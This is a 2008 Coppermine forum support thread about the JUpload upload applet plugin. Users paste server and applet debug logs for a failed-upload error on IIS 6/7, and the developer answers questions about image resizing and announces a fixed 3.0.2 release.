Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: compuryan on March 11, 2008, 12:49:37 pm
IIS version 6.0

This is what the log says:

Code: [Select]
2008-03-11 11:39:40 W3SVC2146676562 192.168.1.251 GET /photos/index.php file=jupload/jupload 8088 - 99.242.37.145 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.8.1.12)+Gecko/20080201+Firefox/2.0.0.12 200 0 0
2008-03-11 11:39:40 W3SVC2146676562 192.168.1.251 GET /photos/plugins/jupload/resources/anaa.js - 8088 - 99.242.37.145 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.8.1.12)+Gecko/20080201+Firefox/2.0.0.12 200 0 0
2008-03-11 11:39:40 W3SVC2146676562 192.168.1.251 GET /photos/plugins/jupload/resources/ajax-loader.gif - 8088 - 99.242.37.145 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.8.1.12)+Gecko/20080201+Firefox/2.0.0.12 200 0 0
2008-03-11 11:39:48 W3SVC2146676562 192.168.1.251 GET /photos/plugins/jupload/wjhk.jupload.jar - 8088 - 99.242.37.145 Mozilla/4.0+(Windows+Vista+6.0)+Java/1.6.0_05 304 0 0
2008-03-11 11:39:49 W3SVC2146676562 192.168.1.251 GET /photos/wjhk/jupload2/lang/lang.class - 8088 - 99.242.37.145 Mozilla/4.0+(Windows+Vista+6.0)+Java/1.6.0_05 404 0 3
2008-03-11 11:39:49 W3SVC2146676562 192.168.1.251 GET /photos/wjhk/jupload2/lang/lang_us.class - 8088 - 99.242.37.145 Mozilla/4.0+(Windows+Vista+6.0)+Java/1.6.0_05 404 0 3
2008-03-11 11:39:55 W3SVC2146676562 192.168.1.251 GET /photos/index.php file=jupload/jupload&action=ajax_list_album_of_a_category&category=3&dummy=1?nocache=0.36582050410332834 8088 - 99.242.37.145 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.8.1.12)+Gecko/20080201+Firefox/2.0.0.12 200 0 0
2008-03-11 11:40:15 W3SVC2146676562 192.168.1.251 GET /photos/images/h_powered-mysql.gif - 8088 - 99.242.37.145 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.8.1.12)+Gecko/20080201+Firefox/2.0.0.12 200 0 0

I don't think it says anything regarding errors or which header is causing a problem, but maybe you'll see something I don't.

Thanks,

Ryan
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 11, 2008, 02:52:58 pm
IIS version 6.0

This is what the log says:

<cut>

I don't think it says anything regarding errors or which header is causing a problem, but maybe you'll see something I don't.

Thanks,

Ryan

I don't either ...     This looks like apache access.log. I guess there is an error log somewhere...

with the info ou gave me, I can barely help. Do uplod works 'sometimes', or do you always have this error ?
If not always, which file is causing the problem ?


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: compuryan on March 11, 2008, 03:06:52 pm
This is a new installation of the jupload plugin.  Uploads have never worked yet.  Any JPEG file I try to upload causes the same problem (I haven't tried other file types).
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: simon36 on March 12, 2008, 03:49:54 pm
Hi, a really great app but does not follow the change I made to linkTitle in the config area.

Thanks.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: simon36 on March 12, 2008, 03:54:55 pm
Also, does it resize and quality according to the values already set in coppermine?

Thanks.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 12, 2008, 04:48:39 pm
Also, does it resize and quality according to the values already set in coppermine?

Thanks.

About the title: added to my toto list.

About resizing:
- The appet resizes picture, by default, to the Coppermine size. Once uploaded, the PHP part of the plugin will resize to the coppermine configuration, whatever configuration was done for the applet on the configuration page.
- If the picture is resized bu the applet, the quality is defined in the configuration page. Default value is 80, like Coppermine, but picture size is slightly different. If the picture is resized by the PHP part, all Coppermine configuration parameters are applied

Hope this is clear. I'll add precisions on the configuration page.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: simon36 on March 12, 2008, 05:16:02 pm
Hi, thanks for the reply. How do I know if the applet or php is re-sizing? I would like it to be the php if that will use the coppermine configuration for the size and quality.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 12, 2008, 07:35:42 pm
Hi, thanks for the reply. How do I know if the applet or php is re-sizing? I would like it to be the php if that will use the coppermine configuration for the size and quality.

Put a big value into maxNonTransformedPictureSize, and the applet won't resize pictures.

Note that, if you rotate a picture with the applet, the applet will always resize the picture according to the Coppermine max width and height, with the quality defined in the JUpload configuration page (pictureCompressionQuality).

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: simon36 on March 13, 2008, 06:00:59 am
Thanks will do. How big is big? Is it KB or MB?

Regards.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 13, 2008, 07:59:30 am
Thanks will do. How big is big? Is it KB or MB?

Regards.

Pixels.

  It's written on the first line, but it seems to not be visible enough: you're the second one to ask this question.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: simon36 on March 13, 2008, 06:13:13 pm
Ok, many thanks.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 14, 2008, 10:23:12 pm
IIS version 6.0

This is what the log says:

<CUT>
I don't think it says anything regarding errors or which header is causing a problem, but maybe you'll see something I don't.

Thanks,

Ryan

I give a try (not installed Coppermine). I can submit without problem. The main problem is ... I tested with IIS 5.1. It's the standard version, when installing from XP.

- Do you know a way to download it from somewhere ?
- IIS 6.0 comes with Vista or windows 2003 ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: pakko on March 20, 2008, 02:38:57 pm
hi etienne

GREAT APPLET!

but i'm having troubles with it...

when i want to upload i get following error:

wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 400 Bad Request

can you help?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: pakko on March 21, 2008, 07:08:21 am

i think upper information is not enough to give an answer...

here is the full log from debug:

07:03:41.968 [INFO] Debug level set to 0
07:03:41.968 [INFO] Current debug output file: C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24789_log.txt
07:03:41.968 [WARN] Invalid int value: true, using default value: 0
07:03:42.484 [WARN] Invalid int value: , using default value: 0
07:03:42.484 [INFO] JUpload plugin for coppermine version 3.0.1
07:04:17.218 [INFO] Debug level set to 100
07:04:17.218 [INFO] Current debug output file: C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24789_log.txt
07:04:17.234 [DEBUG] =======================================================================
07:04:17.234 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
07:04:17.234 [INFO] JUpload applet, version 3.3.0rc1 [SVN-Rev: 414] (compiled: 02/22/2008 10:24 PM), available at http://jupload.sourceforge.net/
07:04:17.234 [DEBUG] Java version: 1.6.0_05
07:04:17.234 [DEBUG] Cookie: 273710d1aeb5b766d7f1294d33107c24=cf62d20f0409d6ce964aed96ad588431; coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiI4Y2IzNWY5MGEyYWVlOTEzYWMyYmI3MmE4ZTFjYzY0NiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO30%3D
07:04:17.234 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
07:04:17.234 [DEBUG] List of all applet parameters:
07:04:17.234 [DEBUG]   language: de
07:04:17.234 [DEBUG]   country:
07:04:17.234 [DEBUG] afterUploadURL: null
07:04:17.234 [DEBUG] allowHttpPersistent: false
07:04:17.234 [DEBUG] allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
07:04:17.234 [DEBUG] debugLevel: 100 (debugfile: C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24789_log.txt)
07:04:17.234 [DEBUG] fileChooserIconFromFileContent: 0
07:04:17.234 [DEBUG] fileChooserIconSize: 50
07:04:17.234 [DEBUG] filenameEncoding: null
07:04:17.234 [DEBUG] lang: de
07:04:17.234 [DEBUG] maxChunkSize: 9223372036854775807
07:04:17.234 [INFO] maxFileSize: 8192000
07:04:17.234 [DEBUG] nbFilesPerRequest: 1
07:04:17.234 [DEBUG] postURL: http://www.mydomain.ch/cpg/index.php?file=jupload/jupload&action=upload_picture
07:04:17.234 [DEBUG] serverProtocol: HTTP/1.1
07:04:17.234 [DEBUG] showLogWindow: false
07:04:17.234 [DEBUG] showStatusbar: true
07:04:17.234 [DEBUG] specificHeaders: null
07:04:17.234 [DEBUG] stringUploadSuccess: ^SUCCESS$
07:04:17.250 [DEBUG] stringUploadError: ^ERROR: (.*)$
07:04:17.250 [DEBUG] urlToSendErrorTo: http://www.mydomain.ch/cpg/index.php?file=jupload/jupload&action=log_error
07:04:17.250 [DEBUG]
07:04:17.250 [DEBUG] ======= Parameters managed by PictureUploadPolicy
07:04:17.250 [DEBUG] fileChooserImagePreview: true
07:04:17.250 [DEBUG] highQualityPreview : false
07:04:17.250 [DEBUG] pictureCompressionQuality : 0.8
07:04:17.250 [DEBUG] pictureTransmitMetadata : false
07:04:17.250 [DEBUG] maxPicWidth : 4092, maxPicHeight : 4092
07:04:17.250 [DEBUG] realMaxPicWidth : 4092, realMaxPicHeight : 4092
07:04:17.250 [DEBUG] storeBufferedImage : false
07:04:17.250 [DEBUG] targetPictureFormat : null
07:04:17.250 [DEBUG]
07:04:17.250 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
07:04:17.250 [DEBUG] albumId : 1
07:04:17.250 [DEBUG]
07:04:19.109 [DEBUG] Action : Hochladen
07:04:19.125 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
07:04:19.125 [DEBUG] Timer started
07:04:19.125 [DEBUG] Resizing factor (scale): 5.605479452054794
07:04:19.125 [DEBUG] Using transformed temp file C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24790.tmp for Anemone_2.jpg
07:04:19.125 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
07:04:19.125 [DEBUG] Reading image with imageWriterHelper.readImage(i)
07:04:19.125 [DEBUG] [getWorkingSourceFile] Creating a copy of Anemone_2.jpg as a source working target.
07:04:19.125 [DEBUG] Using working copy temp file C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24791.tmp.jpg for Anemone_2.jpg
07:04:19.140 [DEBUG] Foud one reader for jpg extension
07:04:19.171 [DEBUG] PicturePanel.paint(): offscreenImage is null
07:04:19.171 [DEBUG] Nb images in Anemone_2.jpg: 1
07:04:19.171 [DEBUG] ImageReaderWriterHelper: reading picture number 0 of file Anemone_2.jpg
07:04:19.593 [DEBUG] getBufferedImage: start
07:04:19.593 [DEBUG] getBufferedImage: Picture is now rescaled
07:04:19.593 [DEBUG] getBufferedImage: BufferedImage@1519d9b: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@21151e transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 730 height = 547 #numDataElements 3 dataOff[0] = 2
07:04:19.609 [DEBUG] getBufferedImage: MinX=0
07:04:19.609 [DEBUG] getBufferedImage: MinY=0
07:04:19.609 [DEBUG] getBufferedImage: was 16 ms long
07:04:19.750 [DEBUG] freeMemory (after ImageHelper.getBufferedImage()) : 57524584
07:04:19.828 [DEBUG] Resizing factor (scale): 5.605479452054794
07:04:19.828 [DEBUG] Using transformed temp file C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24792.tmp for Anemone_3.jpg
07:04:19.828 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
07:04:19.828 [DEBUG] Reading image with imageWriterHelper.readImage(i)
07:04:19.828 [DEBUG] [getWorkingSourceFile] Creating a copy of Anemone_3.jpg as a source working target.
07:04:19.843 [DEBUG] Using working copy temp file C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24793.tmp.jpg for Anemone_3.jpg
07:04:19.859 [DEBUG] Foud one reader for jpg extension
07:04:19.875 [DEBUG] Nb images in Anemone_3.jpg: 1
07:04:19.875 [DEBUG] ImageReaderWriterHelper: reading picture number 0 of file Anemone_3.jpg
07:04:20.296 [DEBUG] getBufferedImage: start
07:04:20.296 [DEBUG] getBufferedImage: Picture is now rescaled
07:04:20.296 [DEBUG] getBufferedImage: BufferedImage@e0795: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@21151e transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 730 height = 547 #numDataElements 3 dataOff[0] = 2
07:04:20.296 [DEBUG] getBufferedImage: MinX=0
07:04:20.296 [DEBUG] getBufferedImage: MinY=0
07:04:20.296 [DEBUG] getBufferedImage: was 0 ms long
07:04:20.437 [DEBUG] freeMemory (after ImageHelper.getBufferedImage()) : 54251552
07:04:20.531 [DEBUG] Resizing factor (scale): 5.605479452054794
07:04:20.531 [DEBUG] Using transformed temp file C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24794.tmp for Anemone_4.jpg
07:04:20.531 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
07:04:20.531 [DEBUG] Reading image with imageWriterHelper.readImage(i)
07:04:20.531 [DEBUG] [getWorkingSourceFile] Creating a copy of Anemone_4.jpg as a source working target.
07:04:20.531 [DEBUG] Using working copy temp file C:\DOCUME~1\IGSADM\LOCALS~1\Temp\jupload_24795.tmp.jpg for Anemone_4.jpg
07:04:20.562 [DEBUG] Foud one reader for jpg extension
07:04:20.578 [DEBUG] Nb images in Anemone_4.jpg: 1
07:04:20.578 [DEBUG] ImageReaderWriterHelper: reading picture number 0 of file Anemone_4.jpg
07:04:21.000 [DEBUG] getBufferedImage: start
07:04:21.015 [DEBUG] getBufferedImage: Picture is now rescaled
07:04:21.015 [DEBUG] getBufferedImage: BufferedImage@1ba0fda: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@21151e transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 547 height = 730 #numDataElements 3 dataOff[0] = 2
07:04:21.015 [DEBUG] getBufferedImage: MinX=0
07:04:21.015 [DEBUG] getBufferedImage: MinY=0
07:04:21.015 [DEBUG] getBufferedImage: was 15 ms long
07:04:21.140 [DEBUG] freeMemory (after ImageHelper.getBufferedImage()) : 42365944
07:04:21.265 [DEBUG] file 0: content=88659 bytes, getAdditionnalBytesForUpload=1633 bytes
07:04:21.265 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
07:04:21.265 [DEBUG] Cookie: 273710d1aeb5b766d7f1294d33107c24=cf62d20f0409d6ce964aed96ad588431; coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiI4Y2IzNWY5MGEyYWVlOTEzYWMyYmI3MmE4ZTFjYzY0NiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO30%3D
07:04:21.265 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
07:04:21.265 [DEBUG] Using non SSL socket, direct connection
07:04:21.312 [DEBUG] === main header (len=1116):
07:04:21.312 [DEBUG] POST /cpg/index.php?file=jupload/jupload&action=upload_picture&album=1 HTTP/1.1\r\n
07:04:21.312 [DEBUG] Host: www.mydomain.ch\r\n
07:04:21.312 [DEBUG] Accept: */*\r\n
07:04:21.312 [DEBUG] Accept-Encoding: identity\r\n
07:04:21.312 [DEBUG] Connection: close\r\n
07:04:21.312 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Length: 90796\r\n
07:04:21.312 [DEBUG] Content-Type: UTF-8\r\n
07:04:21.312 [DEBUG] Cookie: 273710d1aeb5b766d7f1294d33107c24=cf62d20f0409d6ce964aed96ad588431; coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiI4Y2IzNWY5MGEyYWVlOTEzYWMyYmI3MmE4ZTFjYzY0NiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJnZXJtYW4iO30%3D\r\n
07:04:21.312 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="file"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] jupload/jupload\r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="album"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] 1\r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="action"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] upload_picture\r\n
07:04:21.312 [DEBUG] === main header end
07:04:21.312 [DEBUG] --- fileheader start (len=1394):
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="title"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="caption"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="keywords"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="mimetype[]"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] image/jpeg\r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="pathinfo[]"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] C:\Documents and Settings\IGSADM\Desktop\uw_bearbeitet_klein\album_fiha\r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="relpathinfo[]"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="filemodificationdate[]"\r\n
07:04:21.312 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:21.312 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] 18/03/2008 19:03:29\r\n
07:04:21.312 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:21.312 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="Anemone_2.jpg"\r\n
07:04:21.312 [DEBUG] Content-Type: image/jpeg\r\n
07:04:21.312 [DEBUG] \r\n
07:04:21.312 [DEBUG] --- fileheader end
07:04:21.312 [DEBUG] in UploadFileData.uploadFile (amount:88659, getUploadLength(): 88659)
07:04:22.000 [DEBUG] --- filetail start (len=239):
07:04:22.000 [DEBUG] \r\n
07:04:22.000 [DEBUG] -----------------------------t2g2xmd68yi\r\n
07:04:22.000 [DEBUG] Content-Disposition: form-data; name="md5sum[]"\r\n
07:04:22.000 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
07:04:22.000 [DEBUG] Content-Type: text/plain; UTF-8\r\n
07:04:22.000 [DEBUG] \r\n
07:04:22.000 [DEBUG] 31eeef72618746ffb0de64258769cf0f\r\n
07:04:22.000 [DEBUG] -----------------------------t2g2xmd68yi--\r\n
07:04:22.000 [DEBUG] --- filetail end
07:04:22.062 [DEBUG] -------- Response Headers Start --------
07:04:22.078 [DEBUG] HTTP/1.1 400 Bad Request
07:04:22.078 [DEBUG] Content-Type: text/html
07:04:22.078 [DEBUG] Date: Fri, 21 Mar 2008 06:04:22 GMT
07:04:22.078 [DEBUG] Connection: close
07:04:22.078 [DEBUG] Content-Length: 42
07:04:22.078 [DEBUG]
07:04:22.078 [DEBUG] --------- Response Headers End ---------
07:04:22.078 [DEBUG] HTTP status: 400 Bad Request
07:04:22.078 [DEBUG] -------- Response Body Start --------
07:04:22.078 [DEBUG] <h1>Bad Request (Invalid Header Name)</h1>
07:04:22.078 [DEBUG] --------- Response Body End ---------
07:04:24.484 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 400 Bad Request (Received HTTP status 400 Bad Request)
07:04:24.484 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 400 Bad Request
07:04:24.484    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:563)
07:04:24.484    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:739)
07:04:24.484    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
07:04:24.484 [DEBUG] FileUploadThread: within run().finally
07:04:24.484 [WARN] Temporary file not deleted
07:04:24.484 [WARN] Temporary file not deleted
07:04:24.484 [WARN] Temporary file not deleted
07:04:24.531 [DEBUG] PicturePanel.paint(): offscreenImage is null
07:04:25.718 [DEBUG] PicturePanel.paint(): offscreenImage is null
07:04:25.734 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
07:04:25.734 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 22, 2008, 10:15:41 am
i think upper information is not enough to give an answer...

here is the full log from debug:

<Cut>
07:04:24.484 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 400 Bad Request (Received HTTP status 400 Bad Request)
</Cut>

This occurs only with IIS6 and IIS7. It's corrected in the applet, on sourceforge. I'll release the next version of the plugin ... just after this answer.

Etienne
Title: JUpload release 3.0.2
Post by: etienne_sf on March 22, 2008, 10:25:00 am
Hi,

  Here is the announcement for the JUpload for Coppermine plugin release 3.0.2:

It's available here
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11006 (http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11006)
and on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

Here are the release notes:


Fixes:
- [Major] Correct the "bad header" error on IIS 6 and IIS 7, when uploading files.
- [Minor] The debug output is now always correctly filled, even when debug mode is not enabled. Previously, some information would be written in the debug file only when in debug mode.

Translation:
- [Portugese] The Portugese translation in the applet is now a native Portugese, not Brasilian Portugese anymore, thanks to Filipe Teixeira.


Regards
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: vikingfr on March 23, 2008, 04:21:33 pm
Hi Etienne,

I installed your applet, but an error occur when the upload finish : Error http 404.

My logs :

Code: [Select]
15:54:50.890 [DEBUG] debugLevel: 100 (debugfile: C:\DOCUME~1\jpth\LOCALS~1\Temp\jupload_13437_log.txt)
15:54:50.890 [DEBUG] fileChooserIconFromFileContent: 0
15:54:50.890 [DEBUG] fileChooserIconSize: 50
15:54:50.890 [DEBUG] filenameEncoding: null
15:54:50.890 [DEBUG] lang: fr
15:54:50.890 [DEBUG] maxChunkSize: 9223372036854775807
15:54:50.890 [INFO] maxFileSize: 300000000
15:54:50.921 [DEBUG] nbFilesPerRequest: 1
15:54:50.921 [DEBUG] postURL: http://www.pitchouloulou.fr/index.php?file=jupload/jupload&action=upload_picture
15:54:50.921 [DEBUG] serverProtocol: HTTP/1.1
15:54:50.921 [DEBUG] showLogWindow: false
15:54:50.921 [DEBUG] showStatusbar: true
15:54:50.921 [DEBUG] specificHeaders: null
15:54:50.921 [DEBUG] stringUploadSuccess: ^SUCCESS$
15:54:50.921 [DEBUG] stringUploadError: ^ERROR: (.*)$
15:54:50.921 [DEBUG] urlToSendErrorTo: http://www.pitchouloulou.fr/index.php?file=jupload/jupload&action=log_error
15:54:50.921 [DEBUG]
15:54:50.921 [DEBUG] ======= Parameters managed by PictureUploadPolicy
15:54:50.921 [DEBUG] fileChooserImagePreview: true
15:54:50.921 [DEBUG] highQualityPreview : false
15:54:50.921 [DEBUG] pictureCompressionQuality : 0.8
15:54:50.921 [DEBUG] pictureTransmitMetadata : false
15:54:50.921 [DEBUG] maxPicWidth : 3072, maxPicHeight : 3072
15:54:50.937 [DEBUG] realMaxPicWidth : 3072, realMaxPicHeight : 3072
15:54:50.937 [DEBUG] storeBufferedImage : false
15:54:50.937 [DEBUG] targetPictureFormat : null
15:54:50.937 [DEBUG]
15:54:50.937 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
15:54:50.937 [DEBUG] albumId : 0
15:54:50.937 [DEBUG]
15:55:04.375 [DEBUG] Action : Choisir des fichiers ...
15:55:04.421 [DEBUG] [JUploadFileView.execute] Adding D:\live.gnome.org_NetworkManagerHardware.txt
15:55:04.421 [DEBUG] JUploadFileView.execute: creating the executorService
15:55:04.437 [DEBUG] [JUploadFileView.execute] Adding D:\signature_mail_jp.txt
15:55:04.437 [DEBUG] [JUploadFileView.execute] Adding D:\signature_mail_jp_linux.txt
15:55:04.437 [DEBUG] [JUploadFileView.execute] Adding D:\VMware-server-1.0.4-56528.tar.gz
15:55:04.437 [DEBUG] [JUploadFileView.execute] Adding D:\vmware_server_serial.txt
15:55:04.437 [DEBUG] In IconWorker.loadIcon(live.gnome.org_NetworkManagerHardware.txt)
15:55:04.593 [DEBUG] In IconWorker.loadIcon(signature_mail_jp.txt)
15:55:04.703 [DEBUG] In IconWorker.loadIcon(signature_mail_jp_linux.txt)
15:55:04.796 [DEBUG] In IconWorker.loadIcon(VMware-server-1.0.4-56528.tar.gz)
15:55:04.906 [DEBUG] In IconWorker.loadIcon(vmware_server_serial.txt)
15:55:08.671 [DEBUG] [JUploadFileView] Directory changed
15:55:08.671 [DEBUG] Shutting down all IconWorker running jobs
15:55:08.671 [DEBUG] All IconWorker running jobs are now marked as stopped.
15:55:08.781 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\00000384.xls
15:55:08.781 [DEBUG] In IconWorker.loadIcon(00000384.xls)
15:55:08.890 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\4_2_62.pdf
15:55:08.890 [DEBUG] In IconWorker.loadIcon(4_2_62.pdf)
15:55:08.984 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\Encouragements Laurie 1er semestre2008.jpg
15:55:08.984 [DEBUG] In IconWorker.loadIcon(Encouragements Laurie 1er semestre2008.jpg)
15:55:09.156 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\ImCoSys-Smartphone-FR.pdf
15:55:09.156 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\jupload-3.0.1.zip
15:55:09.156 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\jupload-3.0.2.zip
15:55:09.156 [DEBUG] [JUploadFileView.execute] Adding C:\Documents and Settings\jpth\Bureau\WCS.pdf
15:55:09.937 [DEBUG] In IconWorker.loadIcon(ImCoSys-Smartphone-FR.pdf)
15:55:10.031 [DEBUG] In IconWorker.loadIcon(jupload-3.0.1.zip)
15:55:10.125 [DEBUG] In IconWorker.loadIcon(jupload-3.0.2.zip)
15:55:10.296 [DEBUG] In IconWorker.loadIcon(WCS.pdf)
15:55:12.093 [DEBUG] LoadImageThread.start (start)
15:55:12.625 [DEBUG] JUploadImagePreview.paintComponent, after paintIcon
15:55:12.625 [DEBUG] LoadImageThread.start (end)
